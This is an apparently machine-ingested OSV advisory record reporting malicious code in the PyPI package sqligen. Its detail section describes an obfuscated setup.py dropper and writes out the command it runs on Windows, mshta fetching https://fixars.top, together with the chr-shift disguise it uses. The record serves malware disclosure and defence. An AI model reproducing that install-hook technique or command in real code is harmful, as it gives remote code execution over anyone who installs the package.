{"id":"MAL-2026-6515","title":"Malicious code in sqligen (PyPI)","summary":"Malicious code in sqligen (PyPI)","severity":"none","vendor":"sqligen","product":"sqligen","ecosystem":"pip","affected":["sqligen"],"published":"2026-06-26","updated":"2026-07-08","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/MAL-2026-6515","references":[{"url":"https://www.virustotal.com/gui/file/1a5beab4a6facb46b4afc5f8526e1327e6c7d740ccaf34c6a921ac18eff29427/detection"},{"url":"https://www.virustotal.com/gui/file/4c99c8edfc4444f46932f14afccb2952a3850df765765f9ac793d69f318c192f/detection"},{"url":"https://www.virustotal.com/gui/file/0649f50ead3695f41c1243883200bdb775410bcd8c8fb88277740a625a154e25"},{"url":"https://www.virustotal.com/gui/file/926e8f1a7f349ff1eef31f89fa8ffe265c30b92e310e8bea19962d38f8c32129"},{"url":"https://bad-packages.kam193.eu/pypi/package/sqligen"},{"url":"https://pypi.org/project/sqligen/1.0.7/"},{"url":"https://pypi.org/project/sqligen/1.1.4/"},{"url":"https://pypi.org/project/sqligen/1.0.8/"},{"url":"https://pypi.org/project/sqligen/1.1.1/"},{"url":"https://pypi.org/project/sqligen/1.0.0/"},{"url":"https://pypi.org/project/sqligen/1.0.5/"},{"url":"https://pypi.org/project/sqligen/1.0.6/"}],"tags":["osv","pip"],"ingestedAt":"2026-07-09T11:56:19.599Z","slug":"MAL-2026-6515","body":"## Overview\n\n\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (de59ac5884f286d69e42a71ba0cb7b99aa06d2b1f0e28a279a84d3db86eb3196)\nsetup.py contains an obfuscated install-time dropper that fires on Windows. Two functions with diagnostic-sounding names ('GetDefaultSystemPolicy' / 'CalculateNodeDrift', backed by integer arrays presented as 'InterruptThresholds' and 'ThreadPingLatencies') decode via chr(value+14) arithmetic to the strings 'mshta' and 'https://fixars.top'. On Windows, GetGitCommitHash() runs subprocess.check_output(['mshta', 'https://fixars.top'], shell=True), executing an arbitrary remote HTA payload from fixars.top. This codepath is reached from CustomInstallCommand, CustomBuildPyCommand, and CustomDevelopCommand, so any `pip install sqligen` (or `pip install -e.`) on a Windows host triggers remote code execution under the installing user's account. The obfuscation (cover-story variable names, chr-shift encoding of the command and URL) demonstrates intentional evasion of source review; legitimate build tooling does not encode 'mshta' as 'hardware interrupt latency thresholds'. The fetched payload is attacker-controlled and unrelated to the package's stated SQL-generation purpose.\n\n## Source: kam193 (b84d9f4006cbb5db6790a6de402754f0937758e861efe6ec0bc3ba156415327c)\nDuring installation, the code attempts to download and start a malicious executable.\n\nLikely related to 2025-08-raknet-testing-package.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-06-easyaillm\n\n\nReasons (based on the campaign):\n\n\n - Downloads and executes a remote executable.\n\n\n - obfuscation\n\n\n - malware\n\n\n - tool:mshta\n\n\n## Affected packages\n\n- `sqligen`\n\n## Remediation\n\nRefer to the advisory for the patched release.","depth":"sunlit","depthScore":3,"depthScoreParts":{"impact":2.8,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}